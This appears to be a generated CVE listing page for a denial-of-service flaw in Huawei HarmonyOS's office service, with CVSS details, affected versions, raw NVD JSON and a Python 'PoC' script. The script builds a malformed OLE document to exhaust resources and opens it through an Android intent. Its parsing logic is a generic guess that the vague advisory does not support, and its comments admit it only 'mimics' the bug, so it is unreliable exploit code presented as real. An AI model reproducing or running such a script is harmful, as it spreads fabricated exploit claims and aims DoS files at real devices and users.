Security Vulnerability Report
中文
CVE-2025-58288 CVSS 5.5 MEDIUM

CVE-2025-58288

Published: 2025-10-11 09:15:33
Last Modified: 2025-10-16 15:23:55

Description

Denial of service (DoS) vulnerability in the office service. Successful exploitation of this vulnerability may affect availability.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:* - VULNERABLE
Huawei办公服务组件(具体版本请参考华为官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58288 PoC - Huawei Office Service DoS # Vulnerability: Denial of Service in Huawei Office Service # CVSS: 5.5 (MEDIUM) - AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H import struct import os import sys def generate_malicious_document(output_path): """ Generate a malformed office document that triggers DoS in Huawei Office Service component. The vulnerability exists in the office service's document parsing logic, where specially crafted input can cause resource exhaustion leading to service unavailability. """ # Create a minimal malformed document structure # This mimics an Office document with corrupted internal structures header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # OLE Compound Document header # Corrupted sector allocation table (FAT) entries # Excessive chain entries to cause resource exhaustion fat_entries = b'\xFF\xFF\xFF\xFF' * 4096 # Large FAT with all max values # Malformed directory entries with recursive references dir_entry = b'\x00' * 128 # Empty directory entry # Construct payload with oversized stream references payload = header + fat_entries + dir_entry * 100 # Write malicious document with open(output_path, 'wb') as f: f.write(payload) print(f"[+] Malicious document generated: {output_path}") print(f"[+] File size: {len(payload)} bytes") print("[!] When opened with Huawei Office Service, this file") print(" will trigger a Denial of Service condition.") def trigger_dos(document_path): """ Simulate the DoS trigger by sending the document to the Huawei Office Service parser. """ if not os.path.exists(document_path): print(f"[-] File not found: {document_path}") return print(f"[*] Attempting to trigger DoS via: {document_path}") print("[*] Attack vector: Local (AV:L)") print("[*] User interaction required: Open the document (UI:R)") print("[*] Expected result: Office Service becomes unavailable (A:H)") # In a real scenario, the document would be opened by the # Huawei Office Service application, triggering the vulnerability os.system(f"am start -a android.intent.action.VIEW -d 'file://{os.path.abspath(document_path)}'") if __name__ == "__main__": output_file = "malicious_office_doc.bin" print("=" * 60) print("CVE-2025-58288 - Huawei Office Service DoS PoC") print("=" * 60) generate_malicious_document(output_file) trigger_dos(output_file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58288", "sourceIdentifier": "[email protected]", "published": "2025-10-11T09:15:33.487", "lastModified": "2025-10-16T15:23:55.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Denial of service (DoS) vulnerability in the office service. Successful exploitation of this vulnerability may affect availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-275"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "738D803A-C4CE-477B-BC89-CE47351C0A84"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E39DE6A6-CBE6-4086-93CD-113D1B3BA730"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/10/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}